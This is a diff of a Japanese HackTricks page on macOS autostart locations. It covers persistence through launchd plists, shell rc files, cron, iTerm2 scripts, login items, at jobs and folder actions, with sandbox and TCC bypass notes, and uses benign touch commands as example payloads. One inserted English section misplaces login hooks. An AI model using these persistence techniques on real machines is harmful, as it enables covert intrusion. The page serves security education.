- **ハッキングテクニックを共有するには** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする。
|
||||
- **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
|
||||
|
||||
</details>
|
||||
|
||||
このセクションは、ブログシリーズ[**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/)に基づいており、**Autostart Locations**を追加し、最新バージョンのmacOS(13.4)で**動作しているテクニック**を示し、**必要な権限**を指定することを目的としています。
|
||||
このセクションは、ブログシリーズ[**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/)に基づいており、**Autostart Locationsを追加**(可能であれば)、**最新バージョンのmacOS(13.4)**で**動作しているテクニック**を示し、**必要な権限**を指定することを目的としています。
|
||||
|
||||
## サンドボックス回避
|
||||
|
||||
{% hint style="success" %}
|
||||
ここでは、**サンドボックス回避**に役立つ起動場所を見つけることができます。これにより、**ファイルに書き込んで**、非常に**一般的な** **アクション**、決まった**時間**、または**通常サンドボックス内でルート権限を必要とせずに実行できるアクション**を**待機**することができます。
|
||||
ここでは、**サンドボックス回避**に役立つ起動場所を見つけることができます。これにより、**ファイルに書き込んで**、非常に**一般的な** **アクション**、特定の**時間**、または**通常サンドボックス内でルート権限を必要とせずに実行できるアクション**を**待機**することができます。
|
||||
{% endhint %}
|
||||
|
||||
### Launchd
|
||||
|
@ -31,16 +31,16 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
- **`/Library/LaunchAgents`**
|
||||
- トリガー:再起動
|
||||
- ルートが必要
|
||||
- ルート権限が必要
|
||||
- **`/Library/LaunchDaemons`**
|
||||
- トリガー:再起動
|
||||
- ルートが必要
|
||||
- ルート権限が必要
|
||||
- **`/System/Library/LaunchAgents`**
|
||||
- トリガー:再起動
|
||||
- ルートが必要
|
||||
- ルート権限が必要
|
||||
- **`/System/Library/LaunchDaemons`**
|
||||
- トリガー:再起動
|
||||
- ルートが必要
|
||||
- ルート権限が必要
|
||||
- **`~/Library/LaunchAgents`**
|
||||
- トリガー:再ログイン
|
||||
- **`~/Library/LaunchDemons`**
|
||||
|
@ -48,12 +48,12 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
#### 説明と悪用
|
||||
|
||||
**`launchd`**は、OX Sカーネルによって起動時に最初に実行され、シャットダウン時に最後に終了する**最初のプロセス**です。常に**PID 1**を持っているべきです。このプロセスは、**ASEP** **plists**に示された構成を**読み込んで実行**します:
|
||||
**`launchd`**は、OX Sカーネルによって起動時に最初に実行され、シャットダウン時に最後に終了する**プロセス**です。常に**PID 1**を持っているべきです。このプロセスは、**ASEP** **plists**に示された構成を**読み込んで実行**します:
|
||||
|
||||
- `/Library/LaunchAgents`:管理者によってインストールされたユーザーごとのエージェント
|
||||
- `/Library/LaunchDaemons`:管理者によってインストールされたシステム全体のデーモン
|
||||
- `/System/Library/LaunchAgents`:Appleによって提供されるユーザーごとのエージェント
|
||||
- `/System/Library/LaunchDaemons`:Appleによって提供されるシステム全体のデーモン
|
||||
- `/System/Library/LaunchAgents`:Appleによって提供されたユーザーごとのエージェント
|
||||
- `/System/Library/LaunchDaemons`:Appleによって提供されたシステム全体のデーモン
|
||||
|
||||
ユーザーがログインすると、`/Users/$USER/Library/LaunchAgents`および`/Users/$USER/Library/LaunchDemons`にある**plists**が**ログインしたユーザーの権限**で開始されます。
|
||||
|
||||
|
@ -83,10 +83,10 @@ HackTricksをサポートする他の方法:
|
|||
いくつかの場合では、**ユーザーがログインする前にエージェントを実行する必要がある**ことがあります。これらは**PreLoginAgents**と呼ばれます。たとえば、これはログイン時に支援技術を提供するのに役立ちます。これらは`/Library/LaunchAgents`にも見つけることができます([**こちら**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents)を参照)。
|
||||
|
||||
{% hint style="info" %}
|
||||
新しいデーモンまたはエージェントの構成ファイルは、**次回の再起動後または** `launchctl load <target.plist>` **を使用して読み込まれます。拡張子なしの.plistファイルを読み込むことも可能**で、`launchctl -F <file>`を使用します(ただし、これらのplistファイルは再起動後に自動的に読み込まれません)。\
|
||||
`launchctl unload <target.plist>`を使用して**アンロード**することも可能です(それを指すプロセスは終了します)。
|
||||
新しいデーモンまたはエージェントの構成ファイルは、**次回の再起動後または** `launchctl load <target.plist>` **を使用して読み込まれます。** 拡張子なしの.plistファイルを `launchctl -F <file>` **で読み込むことも可能です**(ただし、これらのplistファイルは再起動後に自動的に読み込まれません)。\
|
||||
`launchctl unload <target.plist>` **でアンロードすることも可能です**(それを指すプロセスは終了します)。
|
||||
|
||||
**エージェント**または**デーモン**が**実行されるのを妨げるもの(オーバーライドなど)がないことを**確認するには、`sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`を実行します。
|
||||
**エージェント**または**デーモン**が**実行されるのを妨げるもの**(オーバーライドなど)がないことを**確認する**には、`sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`を実行してください。
|
||||
{% endhint %}
|
||||
|
||||
現在のユーザーによって読み込まれているすべてのエージェントとデーモンをリストアップします:
|
||||
|
@ -94,7 +94,7 @@ HackTricksをサポートする他の方法:
|
|||
launchctl list
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
plistがユーザーに所有されている場合、デーモンシステムワイドフォルダにあっても、**タスクはユーザーとして実行**され、rootとして実行されません。これにより特権昇格攻撃が防止される可能性があります。
|
||||
plistがユーザーに所有されている場合、デーモンシステムワイドフォルダにあっても、**タスクはユーザーとして実行**され、rootとして実行されません。これにより特権昇格攻撃を防ぐことができます。
|
||||
{% endhint %}
|
||||
|
||||
### シェル起動ファイル
|
||||
|
@ -102,7 +102,7 @@ plistがユーザーに所有されている場合、デーモンシステムワ
|
|||
解説: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.github.io/beyond/beyond\_0001/)\
|
||||
解説 (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
|
||||
|
||||
* サンドボックス回避に便利: [✅](https://emojipedia.org/check-mark-button)
|
||||
* サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCCバイパス: [✅](https://emojipedia.org/check-mark-button)
|
||||
* ただし、これらのファイルを読み込むシェルを実行するTCCバイパスを持つアプリを見つける必要があります
|
||||
|
||||
|
@ -124,13 +124,13 @@ plistがユーザーに所有されている場合、デーモンシステムワ
|
|||
* `/etc/profile` (動作しなかった)
|
||||
* `~/.profile` (動作しなかった)
|
||||
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
|
||||
* **トリガー**: xtermでトリガーされることが期待されていますが、**インストールされていません**。さらに、インストール後にこのエラーが発生します: xterm: `DISPLAY is not set`
|
||||
* **トリガー**: xtermでトリガーされることが期待されていますが、**インストールされていません**。インストール後もこのエラーが発生します: xterm: `DISPLAY is not set`
|
||||
|
||||
#### 説明と悪用
|
||||
|
||||
`zsh`や`bash`などのシェル環境を初期化するとき、**特定の起動ファイルが実行**されます。macOSは現在、デフォルトのシェルとして`/bin/zsh`を使用しています。このシェルは、Terminalアプリケーションが起動されるときやデバイスがSSH経由でアクセスされるときに自動的にアクセスされます。`bash`や`sh`もmacOSに存在しますが、使用するには明示的に呼び出す必要があります。
|
||||
`zsh`や`bash`などのシェル環境を初期化するとき、**特定の起動ファイルが実行**されます。 macOSは現在、デフォルトシェルとして`/bin/zsh`を使用しています。このシェルは、Terminalアプリケーションが起動されるときやデバイスがSSH経由でアクセスされるときに自動的にアクセスされます。 macOSには`bash`や`sh`も存在しますが、使用するには明示的に呼び出す必要があります。
|
||||
|
||||
`man zsh`で読むことができるzshのmanページには、起動ファイルに関する詳細な説明があります。
|
||||
`man zsh`で読むことができるzshのmanページには、起動ファイルの詳細な説明があります。
|
||||
```bash
|
||||
# Example executino via ~/.zshrc
|
||||
echo "touch /tmp/hacktricks" >> ~/.zshrc
|
||||
|
@ -138,7 +138,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
|
|||
### 再オープンされたアプリケーション
|
||||
|
||||
{% hint style="danger" %}
|
||||
指定された悪用の設定とログアウト、ログイン、または再起動を行っても、アプリを実行できませんでした。(アプリが実行されていなかったかもしれません。これらのアクションが実行される際に実行されている必要があるかもしれません)
|
||||
指定された悪用の設定とログアウト、ログイン、または再起動を行っても、アプリを実行できませんでした。(アプリが実行されていなかったため、これらのアクションを実行する際に実行されている必要があるかもしれません)
|
||||
{% endhint %}
|
||||
|
||||
**解説**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/)
|
||||
|
@ -155,7 +155,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
|
|||
|
||||
再オープンするすべてのアプリケーションは、plist `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`内にあります。
|
||||
|
||||
したがって、再オープンされるアプリケーションに自分のアプリを起動させるには、**アプリをリストに追加**するだけです。
|
||||
したがって、再オープンされるアプリケーションに自分のアプリを起動させるには、**アプリをリストに追加するだけ**です。
|
||||
|
||||
UUIDは、そのディレクトリをリストアップするか、`ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`で見つけることができます。
|
||||
|
||||
|
@ -188,7 +188,7 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
|||
|
||||
#### 説明と悪用
|
||||
|
||||
**`~/Library/Preferences`** には、ユーザーのアプリケーションの設定が保存されています。これらの設定の中には、**他のアプリケーション/スクリプトを実行**する構成を保持しているものがあります。
|
||||
**`~/Library/Preferences`** には、ユーザーのアプリケーションの設定が保存されています。これらの設定の一部には、**他のアプリケーション/スクリプトを実行**する構成が含まれることがあります。
|
||||
|
||||
たとえば、ターミナルは起動時にコマンドを実行できます:
|
||||
|
||||
|
@ -210,9 +210,7 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
|||
}
|
||||
[...]
|
||||
```
|
||||
## macOS自動起動場所
|
||||
|
||||
したがって、システム内のターミナルの設定ファイルが上書きされると、**`open`**機能を使用して**ターミナルを開き、そのコマンドが実行される**可能性があります。
|
||||
したがって、システム内のターミナルの設定ファイル(plist)が上書きされると、**`open`** 機能を使用して **ターミナルを開き、そのコマンドが実行されます**。
|
||||
|
||||
これをCLIから追加することができます:
|
||||
|
||||
|
@ -231,7 +229,7 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
|||
|
||||
* サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCCバイパス: [✅](https://emojipedia.org/check-mark-button)
|
||||
* ターミナルを使用してユーザーのFDA権限を持つ
|
||||
* ターミナルを使用してユーザーがFDA権限を持つ
|
||||
|
||||
#### 位置
|
||||
|
||||
|
@ -240,7 +238,7 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
|||
|
||||
#### 説明と悪用
|
||||
|
||||
[**`.terminal`**スクリプト](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx)を作成して開くと、**ターミナルアプリケーション**が自動的に起動され、そこで指定されたコマンドが実行されます。ターミナルアプリに特別な特権(TCCなど)がある場合、その特権でコマンドが実行されます。
|
||||
[**`.terminal`**スクリプト](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx)を作成して開くと、**ターミナルアプリケーション**が自動的に起動され、そこで指定されたコマンドが実行されます。ターミナルアプリに特別な特権(TCCなど)がある場合、コマンドはその特別な特権で実行されます。
|
||||
|
||||
試してみてください:
|
||||
```bash
|
||||
|
@ -322,7 +320,7 @@ QuickLookプラグインは、**ファイルのプレビューをトリガーす
|
|||
### ~~ログイン/ログアウトフック~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
私にはうまくいきませんでした。ユーザーログインフックでもルートログアウトフックでもありませんでした
|
||||
私には機能しませんでした。ユーザーログインフックでもルートログアウトフックでもありませんでした。
|
||||
{% endhint %}
|
||||
|
||||
**解説**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/)
|
||||
|
@ -382,7 +380,7 @@ defaults delete com.apple.loginwindow LogoutHook
|
|||
#### 場所
|
||||
|
||||
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`**
|
||||
* 直接書き込みアクセスにはルートが必要です。`crontab <file>`を実行できる場合はルートは必要ありません
|
||||
* 直接書き込みアクセスにはルートが必要です。`crontab <file>`を実行できる場合はルートが不要です
|
||||
* **トリガー**: cronジョブに依存します
|
||||
|
||||
#### 説明と悪用
|
||||
|
@ -400,7 +398,7 @@ ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
|
|||
```
|
||||
以下では、通常の**cron** **ジョブ**、あまり使用されていない**at** **ジョブ**、および一時ファイルのクリーニングに主に使用される**periodic** **ジョブ**が見つかります。 日次の一時ジョブは、例えば次のように実行できます:`periodic daily`。
|
||||
|
||||
**ユーザーのcronジョブをプログラムで追加**するには、次のようにすることができます:
|
||||
**ユーザーのcronジョブをプログラムで追加**するには、次のようにします:
|
||||
```bash
|
||||
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
|
||||
crontab /tmp/cron
|
||||
|
@ -409,7 +407,7 @@ crontab /tmp/cron
|
|||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.github.io/beyond/beyond\_0002/)
|
||||
|
||||
* 便利なサンドボックス回避: [✅](https://emojipedia.org/check-mark-button)
|
||||
* サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCCバイパス: [✅](https://emojipedia.org/check-mark-button)
|
||||
* iTerm2は以前TCC権限を付与していました
|
||||
|
||||
|
@ -433,23 +431,34 @@ EOF
|
|||
|
||||
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
|
||||
```
|
||||
## macOS Auto Start Locations
|
||||
### macOS Auto Start Locations
|
||||
|
||||
### Launch Agents
|
||||
macOS has several locations where applications and services can be configured to automatically start when a user logs in. It is important to review and manage these auto-start locations to ensure that only necessary and trusted applications are launched at startup.
|
||||
|
||||
Launch Agents are used to run processes when a user logs in. They are stored in `~/Library/LaunchAgents/` or `/Library/LaunchAgents/`.
|
||||
#### User Login Items
|
||||
|
||||
### Launch Daemons
|
||||
User-specific login items can be managed in **System Preferences > Users & Groups > Login Items**. Users can add or remove applications from this list to control which applications launch at login.
|
||||
|
||||
Launch Daemons are used to run processes at system boot or login. They are stored in `/Library/LaunchDaemons/`.
|
||||
#### Launch Agents and Daemons
|
||||
|
||||
### Login Items
|
||||
Launch Agents and Daemons are system-wide auto-start mechanisms that execute scripts or programs. They are located in the following directories:
|
||||
|
||||
Login Items are applications that open when a user logs in. They are managed in System Preferences > Users & Groups > Login Items.
|
||||
- `/Library/LaunchAgents`
|
||||
- `/Library/LaunchDaemons`
|
||||
- `/System/Library/LaunchAgents`
|
||||
- `/System/Library/LaunchDaemons`
|
||||
|
||||
### Startup Items
|
||||
Review the contents of these directories to identify and manage auto-start configurations.
|
||||
|
||||
Startup Items are legacy items that automatically launch when a user logs in. They are stored in `/Library/StartupItems/`.
|
||||
#### Startup Items
|
||||
|
||||
Startup Items are legacy auto-start locations that are deprecated in macOS. They are located in the `/Library/StartupItems` directory. Review and remove any unnecessary items from this directory.
|
||||
|
||||
#### Login Hooks
|
||||
|
||||
Login Hooks are deprecated in macOS but can still be used. They are scripts located in the `/Library/Security/SecurityAgentPlugins` directory. Review and remove any unnecessary login hooks.
|
||||
|
||||
By reviewing and managing these auto-start locations, you can improve the security and performance of your macOS system.
|
||||
```bash
|
||||
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
|
||||
#!/usr/bin/env python3
|
||||
|
@ -466,7 +475,7 @@ await iterm2.Window.async_create(connection)
|
|||
iterm2.run_forever(main)
|
||||
EOF
|
||||
```
|
||||
スクリプト**`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`**も実行されます:
|
||||
スクリプト **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** も実行されます:
|
||||
```bash
|
||||
do shell script "touch /tmp/iterm2-autolaunchscpt"
|
||||
```
|
||||
|
@ -474,7 +483,7 @@ iTerm2の設定は**`~/Library/Preferences/com.googlecode.iterm2.plist`**にあ
|
|||
|
||||
この設定はiTerm2の設定で構成できます:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
そして、コマンドは設定に反映されます:
|
||||
```bash
|
||||
|
@ -502,12 +511,12 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
**iTerm2の設定を悪用する他の方法**が非常に可能性が高いです。
|
||||
**iTerm2の設定**を悪用する他の方法が**高い可能性**があります。
|
||||
{% endhint %}
|
||||
|
||||
### xbar
|
||||
|
||||
解説: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.github.io/beyond/beyond\_0007/)
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.github.io/beyond/beyond\_0007/)
|
||||
|
||||
* サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button)
|
||||
* ただし、xbarをインストールする必要があります
|
||||
|
@ -545,7 +554,7 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
|
|||
|
||||
#### 説明
|
||||
|
||||
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) は、**macOS**向けの自動化プラットフォームとして機能し、**LUAスクリプト言語**を活用しています。特筆すべきは、完全なAppleScriptコードの統合とシェルスクリプトの実行をサポートし、スクリプトの機能を大幅に向上させています。
|
||||
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon)は、**macOS**向けの自動化プラットフォームとして機能し、**LUAスクリプト言語**を活用しています。特筆すべきは、完全なAppleScriptコードの統合とシェルスクリプトの実行をサポートし、スクリプトの機能を大幅に向上させています。
|
||||
|
||||
このアプリは、単一のファイル`~/.hammerspoon/init.lua`を探し、スクリプトが実行されます。
|
||||
```bash
|
||||
|
@ -556,46 +565,46 @@ EOF
|
|||
```
|
||||
### BetterTouchTool
|
||||
|
||||
* 便利なサンドボックス回避方法: [✅](https://emojipedia.org/check-mark-button)
|
||||
* ただし、BetterTouchToolをインストールする必要があります
|
||||
* TCC回避: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Automation-ShortcutsとAccessibilityのアクセス許可が必要です
|
||||
* **役立つ:** [✅](https://emojipedia.org/check-mark-button)
|
||||
* ただしBetterTouchToolをインストールする必要があります
|
||||
* TCCバイパス: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Automation-ShortcutsとAccessibilityのアクセス許可が必要です
|
||||
|
||||
#### 位置
|
||||
|
||||
* `~/Library/Application Support/BetterTouchTool/*`
|
||||
* `~/Library/Application Support/BetterTouchTool/*`
|
||||
|
||||
このツールは、特定のショートカットが押されたときにアプリケーションやスクリプトを実行することができます。攻撃者は、**ショートカットとアクションをデータベースに設定して任意のコードを実行させる**可能性があります(ショートカットは単にキーを押すだけでも可能です)。
|
||||
このツールは、特定のショートカットが押されたときにアプリケーションやスクリプトを指定することができます。攻撃者は、任意のコードを実行するように**ショートカットとアクションをデータベースに設定**することができます(ショートカットは単にキーを押すだけでも可能です)。
|
||||
|
||||
### Alfred
|
||||
|
||||
* 便利なサンドボックス回避方法: [✅](https://emojipedia.org/check-mark-button)
|
||||
* ただし、Alfredをインストールする必要があります
|
||||
* TCC回避: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Automation、Accessibility、さらにはFull-Diskアクセスのアクセス許可が必要です
|
||||
* **役立つ:** [✅](https://emojipedia.org/check-mark-button)
|
||||
* ただしAlfredをインストールする必要があります
|
||||
* TCCバイパス: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Automation、Accessibility、さらにはFull-Diskアクセスのアクセス許可が必要です
|
||||
|
||||
#### 位置
|
||||
|
||||
* `???`
|
||||
* `???`
|
||||
|
||||
特定の条件が満たされたときにコードを実行できるワークフローを作成することができます。攻撃者がワークフローファイルを作成し、Alfredがそれをロードする可能性があります(ワークフローを使用するにはプレミアムバージョンを購入する必要があります)。
|
||||
特定の条件が満たされたときにコードを実行できるワークフローを作成できます。攻撃者がワークフローファイルを作成し、Alfredがそれをロードする可能性があります(ワークフローを使用するにはプレミアムバージョンを購入する必要があります)。
|
||||
|
||||
### SSHRC
|
||||
|
||||
解説: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/)
|
||||
|
||||
* 便利なサンドボックス回避方法: [✅](https://emojipedia.org/check-mark-button)
|
||||
* ただし、sshを有効にして使用する必要があります
|
||||
* TCC回避: [✅](https://emojipedia.org/check-mark-button)
|
||||
* SSHはFDAアクセスを持っている必要があります
|
||||
* **役立つ:** [✅](https://emojipedia.org/check-mark-button)
|
||||
* ただしsshを有効にして使用する必要があります
|
||||
* TCCバイパス: [✅](https://emojipedia.org/check-mark-button)
|
||||
* SSHはFDAアクセスを持っている必要があります
|
||||
|
||||
#### 位置
|
||||
|
||||
* **`~/.ssh/rc`**
|
||||
* **トリガー**: ssh経由でログイン
|
||||
* **`/etc/ssh/sshrc`**
|
||||
* ルート権限が必要
|
||||
* **トリガー**: ssh経由でログイン
|
||||
* **`~/.ssh/rc`**
|
||||
* **トリガー**: ssh経由でログイン
|
||||
* **`/etc/ssh/sshrc`**
|
||||
* ルートが必要
|
||||
* **トリガー**: ssh経由でログイン
|
||||
|
||||
{% hint style="danger" %}
|
||||
sshをオンにするにはFull Disk Accessが必要です:
|
||||
|
@ -627,8 +636,8 @@ sudo systemsetup -setremotelogin on
|
|||
|
||||
#### 説明
|
||||
|
||||
システム環境設定 -> ユーザとグループ -> **ログイン項目** には、**ユーザがログインするときに実行される項目** があります。\
|
||||
これらをコマンドラインからリストアップ、追加、削除することが可能です。
|
||||
システム環境設定 -> ユーザとグループ -> **ログイン項目** で、**ユーザがログインすると実行される項目** を見つけることができます。\
|
||||
これらをコマンドラインからリストアップ、追加、削除することが可能です:
|
||||
```bash
|
||||
#List all items:
|
||||
osascript -e 'tell application "System Events" to get the name of every login item'
|
||||
|
@ -641,15 +650,15 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
|
|||
```
|
||||
これらのアイテムはファイル**`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**に保存されています。
|
||||
|
||||
**ログインアイテム**は、API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) を使用して指定することもでき、このAPIは構成を**`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**に保存します。
|
||||
**ログインアイテム**は、API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) を使用して指定することもでき、その構成は**`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**に保存されます。
|
||||
|
||||
### ZIPをログインアイテムとして使用
|
||||
|
||||
(ログインアイテムに関する前のセクションを確認してください、これは拡張です)
|
||||
|
||||
**ZIP**ファイルを**ログインアイテム**として保存すると、**`Archive Utility`**がそれを開きます。たとえば、**`~/Library`**に保存され、バックドアを含む**`LaunchAgents/file.plist`**というフォルダが含まれているZIPがある場合、そのフォルダが作成され(デフォルトでは作成されません)、plistが追加されるため、次回ユーザーが再ログインすると、**plistで指定されたバックドアが実行**されます。
|
||||
**ZIP**ファイルを**ログインアイテム**として保存すると、**`Archive Utility`**がそれを開きます。たとえば、**`~/Library`**に保存され、バックドアを含むフォルダ**`LaunchAgents/file.plist`**が含まれているZIPがある場合、そのフォルダが作成され(デフォルトでは作成されません)、plistが追加されるため、次回ユーザーが再ログインすると、**plistで指定されたバックドアが実行**されます。
|
||||
|
||||
別のオプションは、ユーザーのホーム内に**`.bash_profile`**と**`.zshenv`**ファイルを作成することです。したがって、LaunchAgentsフォルダがすでに存在する場合でも、このテクニックは機能します。
|
||||
別のオプションは、ユーザーのホーム内にファイル**`.bash_profile`**と**`.zshenv`**を作成することです。したがって、LaunchAgentsフォルダがすでに存在する場合でも、このテクニックは機能します。
|
||||
|
||||
### At
|
||||
|
||||
|
@ -661,7 +670,7 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
|
|||
|
||||
#### 位置
|
||||
|
||||
* **`at`**を**実行**して**有効**である必要があります
|
||||
* **`at`**を**実行**する必要があり、**有効**である必要があります
|
||||
|
||||
#### **説明**
|
||||
|
||||
|
@ -681,7 +690,7 @@ sh-3.2# atq
|
|||
26 Tue Apr 27 00:46:00 2021
|
||||
22 Wed Apr 28 00:29:00 2021
|
||||
```
|
||||
上記では2つのスケジュールされたジョブが表示されています。`at -c JOBNUMBER`を使用してジョブの詳細を表示できます。
|
||||
上記では、スケジュールされた2つのジョブが表示されます。`at -c JOBNUMBER`を使用してジョブの詳細を表示できます。
|
||||
```shell-session
|
||||
sh-3.2# at -c 26
|
||||
#!/bin/sh
|
||||
|
@ -716,7 +725,7 @@ echo 11 > /tmp/at.txt
|
|||
AT タスクが有効になっていない場合、作成されたタスクは実行されません。
|
||||
{% endhint %}
|
||||
|
||||
**ジョブファイル** は `/private/var/at/jobs/` にあります。
|
||||
**ジョブファイル**は`/private/var/at/jobs/`にあります。
|
||||
```
|
||||
sh-3.2# ls -l /private/var/at/jobs/
|
||||
total 32
|
||||
|
@ -727,13 +736,13 @@ total 32
|
|||
```
|
||||
ファイル名には、キュー、ジョブ番号、および実行予定時刻が含まれています。例として、`a0001a019bdcd2`を見てみましょう。
|
||||
|
||||
- `a` - これはキューを表します
|
||||
- `a` - これはキューです
|
||||
- `0001a` - 16進数でのジョブ番号、`0x1a = 26`
|
||||
- `019bdcd2` - 16進数での時間。これはエポックから経過した分数を表します。`0x019bdcd2`は10進数で`26991826`です。これを60倍すると`1619509560`になり、これは`GMT: 2021年4月27日火曜日7時46分00秒`です。
|
||||
- `019bdcd2` - 16進数での時刻。エポックから経過した分を表します。`0x019bdcd2`は10進数で`26991826`です。これを60倍すると`1619509560`になり、これは`GMT: 2021年4月27日、火曜日7時46分00秒`です。
|
||||
|
||||
ジョブファイルを表示すると、`at -c`を使用して取得した情報と同じであることがわかります。
|
||||
ジョブファイルを印刷すると、`at -c`を使用して取得した情報と同じであることがわかります。
|
||||
|
||||
### フォルダーアクション
|
||||
### フォルダアクション
|
||||
|
||||
解説: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\
|
||||
解説: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
|
||||
|
@ -753,16 +762,16 @@ total 32
|
|||
|
||||
#### 説明と悪用
|
||||
|
||||
フォルダーアクションは、フォルダ内の変更(アイテムの追加、削除、フォルダウィンドウの開いたりサイズ変更など)によって自動的にトリガーされるスクリプトです。これらのアクションはさまざまなタスクに利用でき、Finder UIやターミナルコマンドを使用してトリガーできます。
|
||||
フォルダアクションは、フォルダ内の変更(アイテムの追加、削除、フォルダウィンドウの開いたりサイズ変更など)によって自動的にトリガーされるスクリプトです。これらのアクションはさまざまなタスクに利用でき、Finder UIやターミナルコマンドを使用してトリガーできます。
|
||||
|
||||
フォルダーアクションを設定する方法には、次のようなオプションがあります:
|
||||
フォルダアクションを設定する方法には、次のようなオプションがあります:
|
||||
|
||||
1. [Automator](https://support.apple.com/guide/automator/welcome/mac)を使用してフォルダーアクションワークフローを作成し、サービスとしてインストールする。
|
||||
2. フォルダのコンテキストメニューの「フォルダーアクションの設定」を介してスクリプトを手動で添付する。
|
||||
3. `System Events.app`にApple Eventメッセージを送信するためにOSAScriptを利用して、プログラムでフォルダーアクションを設定する。
|
||||
1. [Automator](https://support.apple.com/guide/automator/welcome/mac)を使用してフォルダアクションワークフローを作成し、サービスとしてインストールする。
|
||||
2. フォルダのコンテキストメニューの「フォルダアクションの設定」を使用して、スクリプトを手動で添付する。
|
||||
3. `System Events.app`にApple Eventメッセージを送信するためにOSAScriptを利用して、プログラムでフォルダアクションを設定する。
|
||||
- この方法は、アクションをシステムに埋め込んで持続性を提供するのに特に便利です。
|
||||
|
||||
以下のスクリプトは、フォルダーアクションで実行できる例です:
|
||||
以下のスクリプトは、フォルダアクションで実行できる例です:
|
||||
```applescript
|
||||
// source.js
|
||||
var app = Application.currentApplication();
|
||||
|
